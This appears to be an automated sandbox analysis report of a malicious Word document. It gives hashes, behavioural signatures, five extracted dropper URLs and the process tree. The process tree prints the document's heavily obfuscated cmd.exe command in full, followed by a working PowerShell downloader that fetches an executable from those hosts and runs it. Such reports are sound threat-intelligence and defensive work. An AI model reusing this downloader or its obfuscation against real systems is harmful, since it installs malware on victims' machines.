Analysis
- max time kernel
146s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system - submitted
03/05/2024, 10:05
Behavioral task
behavioral1
Sample
10420107812040ea9bb2c9cbd92777a1_JaffaCakes118.doc
Resource
win7-20240221-en
12 signatures
150 seconds
Behavioral task
behavioral2
Sample
10420107812040ea9bb2c9cbd92777a1_JaffaCakes118.doc
Resource
win10v2004-20240226-en
10 signatures
150 seconds
General
- Target 10420107812040ea9bb2c9cbd92777a1_JaffaCakes118.doc
- Size 111KB
- Sample240503-l4vzmacb5x
- SHA256 c0eceee4008b638421d54fe0b2db5e1cdf8634dd69b2516f75a99e389f15b130
- MD5 10420107812040ea9bb2c9cbd92777a1
- SHA1 bbfd9a52c62132a672f91815a522299a302ba5ec
- SHA512 b076e78626b218848adefb0a1858cd9b36769a73c611b0d5d39640a31d365201a7be85fff30d5607f333f30428a73daccbe4209f8fcee34e31dfd951456b907a
- SSDEEP 1536:9ptJlmrJpmxlRw99NBd+ap9/wRn7e4bHK35sAicPTcjcNLOWI:jte2dw99fwaOQssTcjc5OWI
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
http://overflowinteractive.com/aqZbQlCLC
-
exe.dropper
http://bobfeick.com/iOEMwk9
-
exe.dropper
http://herbalzone.jo/8gBsrhBFza
-
exe.dropper
http://www.cabdjw.gov.cn/3mSlpqw
-
exe.dropper
http://thiena.com/iv66WWS
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2132 3488 cmd.exe 90 - Blocklisted process makes network request 2 IoCs
flow pid Process 34 4272 powershell.exe 40 4272 powershell.exe - An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
pid Process 2132 cmd.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3488 WINWORD.EXE 3488 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 4272 powershell.exe 4272 powershell.exe 4272 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4272 powershell.exe - Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3488 WINWORD.EXE 3488 WINWORD.EXE 3488 WINWORD.EXE 3488 WINWORD.EXE 3488 WINWORD.EXE 3488 WINWORD.EXE 3488 WINWORD.EXE - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3488 wrote to memory of 2132 3488 WINWORD.EXE 95 PID 3488 wrote to memory of 2132 3488 WINWORD.EXE 95 PID 2132 wrote to memory of 4272 2132 cmd.exe 98 PID 2132 wrote to memory of 4272 2132 cmd.exe 98
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\10420107812040ea9bb2c9cbd92777a1_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3488 -
C:\Windows\SYSTEM32\cmd.execmd /V^:^O/C"^s^e^t ^g^H^s=^~^@^|^ ^q^j^9 rg$^ G^z^Q^ ^D^[^`^ rv^5^ ^m^j^b^ ^L^s^6^ ^[^J^u^ ^k^~^h^ ^P^,^M^ ^{^F^l^ %V;^ ^I^4^9^ ^s^M^H^ ^0^[^F N^Z^-^ ^8^u^w^}^iv^Q^}^Q)^]^{%^m^{^h^9^j^{c^P^t^A^t^2^P^+^aj^t^Sc^m^`^y^}^f^&p^;^2^z^_^k^.^8^b^a^J^-^Ee^$d^@r^L^Q^P^b^'^fC^;^`^k^u^D^J^p0^A^j^mC^f^?N\^$^9^a%^ ^1^P^i^m^,^BNec^4L^tN^bR^I^f^|^;^-^w^P^j^e^d^e^I^k^w^f^D^o3^j^Lv(^-^AnV^@^d^I^W^}^k^;^@^{^a)^<^.^B^D^3^Q^T^A^t^P^|^f^8i^+^$^ ^9^~^ ^_^q^b^,^E^}^D^K^@^:^E^J^`T^H^I^Q/^-^$^0^G^T(x^f^|^e^\^X^Yl=)^T^i^8^L^y^F^[^5^:^d^D^z^H^a^9^ ^e^oC^|^+^lv^A^3n^E^eN^w^a^5I^o^;^s^{^D/^+^>^.^i^q^L^W^e^-^P^K^br^[^a^s)^3^$^:^BR^{^Mv^'^y^*^\^Dr^<^J^j^t^=^Z^h^{^\^:^])^Z^~L^h^Y%^Kh^y^K^.O^McE^$^9^=q ^0^b^tn^?c^u^i^`^@^w^ U^W^_^K^G^>^:^J;^A^&^I^W^'^#^$^[^;^g(^7^}^F^h^u)^Kc^Gv^ma^p_^a^e^s^w^Ir^I^p_^o^U^:^5^f^3a/^;^T^Q^|^'pC^<^e^i^q%^x^ ^bv^e^:^>^]^.c%^k^'^e^X^y^+^f^p^w^W^Dt^O^Q^F^f^L^z^;^P^4^$VvC^+^F^:^9^'^<^T^,^\^H^x^1^'^HN^a^+^y^W{cB^7^w^i^1^gV^l^a^,^@^b^f^+^q^u^<^xk^p^[^{^;^:^'^@^kv^6^[%n^_r8^e6^L^3^$^:^t^p^=^s^|^O^D^s^TVA^5n^ ^f^#^x^`^$^Y^]K;c^6^;^'^,@^H^1^t^}^h^1n^}^'^5^7O^f^'^\cn^ ^\^a^o^=^l^7^+^ ^_^~%^WN^y^9^Qz^k^S^z^ ^=^]^$^-^2^{^;^e^m^Y)^=V^K'^?^1/^@^g^7A^'n^U^`(^-V^2^t^:^T^u^i^u^H^ ^l^P^M^y^p^8^h^a^S^#^1^&^.^iC^T^'^0t^m^S^k7^e^W^k^3^lW^~^$^p^6^{)^26^k^+^Fv^Z^s^_i$.^&/^K^z?^m^`M^>o^4)^Fc^\?^d^.^z^|^b^a^1^F^4n^G^#^~^e^f^<^@^i^[^8^1^h^j^W^I^t^o^3^W/^EH^I/^1%^8^:1^;^+^p^q^Ju^t^1v^+^tu^f^A^h^t^O^'^@%^T^y^w^.^q^&^q^;^j^6^p^&^l^Q^l^D^g^A^S^Q^a^}^m^l^H_^3^}^B^T/ow^en^g^0^Ec^Y^J^w^.^9^?^hv^k^<^{^oR\^~^g^K^*^m^.V^0^L^w^J^@(^j^p^0q^dg^p)^b^dr^s^a^l^K^+cv^ %^.^jC^E^w^]^\^O^w^O^1^<^w^'^}^E/^|^pC/^k^}X^:^$^G^?^p^*^b^?^t^.)^O^tc^K^P^h^0^-^f^@^@^T%^a{^I^|z^S^o^;^F^Y^q^T^Bp^u^k^h1N^Pr^pe^4^s^,^{^[^B^@%^;^g^H^M^@^8^p^J^{/^Z^U^{^oN^W^H^j^zb(^.^X^H^3^e^e^T^3nv^G^g^o^q^?^-^zC^4^=^l^0^a^G^a^A^9W^b^M^X^5r^Y^>^\e^@^<V^h^\T^u/^T^A^3/^Dc^[^:^i^[B^pR^?^Mt]^kR^t#]^1^h^+^z^K^@V^2^{^9^}^z^t^k^3n^*^w^,r^#^M)^_^k^E^?^7^u^O^-c^D^i8^+R/^;^&^h^m^]^>^3^o^S/^xc^>^u^w^.^_^m^Q^k^MV^mc^s^{^>^i^x^k^u^e^,^'n^f^:0n^b^-^O^u^o^](^L^b^pcH/^d^p^y/%^3^I^:^X^M^Lp^8^\^Z^t^;r^M^t%^B^l^h^O^#^4^@^2^8^dC^D^m^Z^L^?^-^zCt^j^Tl^z^H^A^Qr^H^i^b=^Jv^Z^H^f^j^q^8^$^4^a^K^P^Y/Nr'^m^b^l^]^o(^Jcc^1n^p^.^3^F^We^_c?v^:)^k^i^[t^y^t^.^9/c^X}^-^a^z^q)r^T^y%^e^s^#^e^t^Z^m)n^{^u^W^i^*^U}^w^*Nc^o^dr^Hlv^`^p^f^|5^ar^'^O^x^e^?l^2v^;^t^l^o^m^F-/^~^z^7/V^*N:^xr^?^p^=^i^$^t.^=^ftR^fn^h^ ^U^@^'^\^K#^=^~^p^,^h@^i^j^hN^.^S^O^1^4^<$k^W^A^;%^{^S^t^:^2Cn^>^L^#^e^T^}^E^i^B-^P^l^=^<^ C^k^3'^b/^M^&^e/^a^f^W^2^s^a^.V^y^Y^t^I^Yw^e_/^zN^a^#^|^ %v^.^t^&^S^7c^1^&^:^e^,^2^d^j^f^:^x^b^f^&^m^o^Q^bC^-^+^3^P^w^Z^f%^eC^:^1n^=^[/^=^Y^>^H^W0^BC^K^#^`^7^a^U^u^$^$'^xw^ ^T^?^Y^l^ZC^.^l^H^`^J^e^O^{^u^h^YN^$^s^I^S(r^a^m^_e%^:^}^w^6^1)^o^2^e^5p&&^f^or /^L %^1 ^in (^14^79^,^-^4^,^3)^d^o ^s^e^t R^z^G=!R^z^G!!^g^H^s:~%^1,1!&&^i^f %^1 ^l^e^q ^3 c^a^l^l %R^z^G:^~^-3^7^0%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:2132 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $aKW=new-object Net.WebClient;$Ohh='http://overflowinteractive.com/aqZbQlCLC@http://bobfeick.com/iOEMwk9@http://herbalzone.jo/8gBsrhBFza@http://www.cabdjw.gov.cn/3mSlpqw@http://thiena.com/iv66WWS'.Split('@');$zQW = '511';$fAD=$env:public+'\'+$zQW+'.exe';foreach($IJK in $Ohh){try{$aKW.DownloadFile($IJK, $fAD);Invoke-Item $fAD;break;}catch{}}3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4272
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1424 --field-trial-handle=2180,i,12780723798465539942,12010519452607841069,262144 --variations-seed-version /prefetch:81⤵PID:2564
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4eh50w3t.bgv.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Public\511.exe
- Size 1KB
- SHA256 a565c9e69a388ca38fe695f457e34be6ca3e8de82675f99c324de9100407ee30
- MD5 ffa4116b5a90475cb8514143e45b15c7
- SHA1 d9c50b28511d7f706ab81c7d0987070c11eb85eb
- SHA512 f3d53dc84c26430fc72575d8e3ad084ffb4ea53813d6ff4fac3b2dc6d0996f4e41a74993af9e630a1b7979251ca149b4950b2e328ecaff70dd0e7e5b05b3e2d9
- MD5 SHA1 SHA512
- Path C:\Users\Public\511.exe
- Size 102KB
- SHA256 7a4e71b475d4c03d667f1aa3d6c0107829d05cec9a1b127ca49edd0607726a57
- MD5 e49a72b983bc275d314ee50d066cf3b9
- SHA1 77467351d81604737dee26173e8280036894a171
- SHA512 22cc3c3bd93c47496b084d6b9fd098e99fd5e244435011ebe3f2c17564e7ad2150d5de211e7621ebb81d63f9c5bb5ae180f0242c321a928026ee8889c75207ce
- SSDEEP 1536:mZIMh00r2vuPoKTU9yEoTAX2vBX0zvO4lZYoK0PnTIm6DU0gXI1esAec6sFILn+B:+S0r2vuPNU9yEoNTPE5o54a5M4g
- MD5 SHA1 SHA512 SSDEEP